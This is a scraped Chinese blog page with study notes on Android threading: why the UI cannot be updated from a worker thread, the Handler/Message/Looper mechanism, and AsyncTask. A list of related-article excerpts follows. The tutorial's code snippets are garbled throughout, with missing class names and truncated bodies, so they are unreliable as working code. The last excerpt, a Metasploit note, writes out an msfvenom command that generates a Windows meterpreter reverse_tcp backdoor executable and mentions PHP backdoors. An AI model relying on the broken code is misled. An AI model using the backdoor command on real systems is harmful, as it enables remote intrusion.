androidthreadtest<CODE 2 chaper9>
学习目的:1.了解android线程的使用 2.了解主线程与子线程区别 3.解析异步处理机制
主线程与子线程:所谓主线程,在Windows窗体应用程序中一般指UI线程,这个是程序启动的时候首先创建的线程。而子线程,一般指为了完成某个特殊任务,并行于主线程的其他线程。例如让一个窗体单独开一个线程,去远程数据库中取得数据资料,下载并且保存到本地文件中。
所以,主线程和子线程是构建于线程这个通用概念上的人为的习惯称呼,并不是什么官方的固有专用词语。
MainActivity(简而言之,为实现某个功能而创建爱的线程是子线程)
1.了解android线程的使用(例:在子线程更新UI)
1 |
public class extends AppCompatActivity implements View.OnClickListener {
protected void onCreate(Bundle savedInstanceState) {
|
logcat报错(说明不能在子线程更新UI)修改如下
1 |
public class extends AppCompatActivity implements View.OnClickListener {
public static final int UPDATE_TEXT = 1;
private TextView text;
private Handler handler = new Handler() {
public void handleMessage(Message msg) {
|
3.解析异步处理机制(Message MessageQueue Looper Handler四个部分)
异步处理机制的核心思想:一条Message经过如下转展调用,从子线程进入主线程,从而使不能更新UI变成可以更新UI
4.使用AsyncTask类(更方便的进行UI操作)
1 |
class DownloadTask extends AsyncTask<Void Integer Boolean>{...}//
|
三个参数
Params:执行AsyncTask需要传入的参数
Progress:后台任务执行时,需要在当前界面显示进度
Result:返回值类型
还需重写四个方法
1 |
class DownloadTask extends AsyncTask<Void Integer Boolean>{
|
想要启动这个任务
1 |
new DownloadTask().execute(); |
androidthreadtest<CODE 2 chaper9>的更多相关文章
- Visual Studio Code 代理设置
Visual Studio Code (简称 VS Code)是由微软研发的一款免费.开源的跨平台文本(代码)编辑器,在十多年的编程经历中,我使用过非常多的的代码编辑器(包括 IDE),例如 Fron ...
- 我们是怎么做Code Review的
前几天看了<Code Review 程序员的寄望与哀伤>,想到我们团队开展Code Review也有2年了,结果还算比较满意,有些经验应该可以和大家一起分享.探讨.我们为什么要推行Code ...
- Code Review 程序员的寄望与哀伤
一个程序员,他写完了代码,在测试环境通过了测试,然后他把它发布到了线上生产环境,但很快就发现在生产环境上出了问题,有潜在的 bug. 事后分析,是生产环境的一些微妙差异,使得这种 bug 场景在线下测 ...
- 从Script到Code Blocks、Code Behind到MVC、MVP、MVVM
刚过去的周五(3-14)例行地主持了技术会议,主题正好是<UI层的设计模式——从Script.Code Behind到MVC.MVP.MVVM>,是前一天晚上才定的,中午花了半小时准备了下 ...
- 在Visual Studio Code中配置GO开发环境
一.GO语言安装 详情查看:GO语言下载.安装.配置 二.GoLang插件介绍 对于Visual Studio Code开发工具,有一款优秀的GoLang插件,它的主页为:https://github ...
- 代码的坏味道(14)——重复代码(Duplicate Code)
坏味道--重复代码(Duplicate Code) 重复代码堪称为代码坏味道之首.消除重复代码总是有利无害的. 特征 两个代码片段看上去几乎一样. 问题原因 重复代码通常发生在多个程序员同时在同一程序 ...
- http status code
属于转载 http status code:200:成功,服务器已成功处理了请求,通常这表示服务器提供了请求的网页 404:未找到,服务器未找到 201-206都表示服务器成功处理了请求的状态代码,说 ...
- Visual Studio Code——Angular2 Hello World 之 2.0
最近看到一篇用Visual Studio Code开发Angular2的文章,也是一篇入门教程,地址为:使用Visual Studio Code開發Angular 2專案.这里按部就班的做了一遍,感觉 ...
- WebStorm 2016 最新版激活(activation code方式)
WebStorm 2016 最新版激活(activation code方式) WebStorm activation code WebStorm 最新版本激活方式: 今天下载最新版本的WebStorm ...
随机推荐
- spring启动,spring mvc ,要不要xml配置,基于注解配置
老项目是09-11年搞的,用的是spring+struts2,没有用注解,全xml配置.web.xml中也配置了一大堆. 现在启动新项目,在项目中用spring+springmvc ,主要用注解,也用 ...
- 7.学完linux系统运维到底可以做什么?
linux运维到底可以做什么?(略有改动原文.排版) 运维,很容易从字面理解为运营.维护. 很多朋友认为,在互联网公司中linux系统运维的工作就是安装系统,部署服务.处理紧急故障,为公司里的开发人员 ...
- org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.reflection.ReflectionException: There is no getter for property named 'socialCode' in 'class java.lang.String'
异常: org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.reflection.Refl ...
- 吴裕雄--天生自然 pythonTensorFlow自然语言处理:文本数据预处理--生成训练文件
import sys import codecs # 1. 参数设置 MODE = "PTB_TRAIN" # 将MODE设置为"PTB_TRAIN", &qu ...
- C# 创建、部署和调用WebService的简单示例 (转)
C# 创建.部署和调用WebService的简单示例(转) 转自 https://www.cnblogs.com/Brambling/p/7266482.html webservice 可以用于分 ...
- xib下如何修改frame
1.取消xib下Use Auto Layout 2.xcode->product->clean
- mysql数据库死锁的解决方案
1. 查询锁表信息 show OPEN TABLES where In_use > 0;2. 查看当前数据库锁表的情况 SELECT * FROM information_schem ...
- saltstack的salt-api介绍
一.salt-api安装 yum install salt-api pyOpenSSL -y #pyOpenSSL 生成自签证书时使用 二.生成自签名证书(ssl使用) [root@master ce ...
- spring boot GlobalExceptionHandler @RestControllerAdvice @ExceptionHandler
package me.zhengjie.common.exception.handler; import lombok.extern.slf4j.Slf4j; import me.zhengjie.c ...
- Metasploit笔记
生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...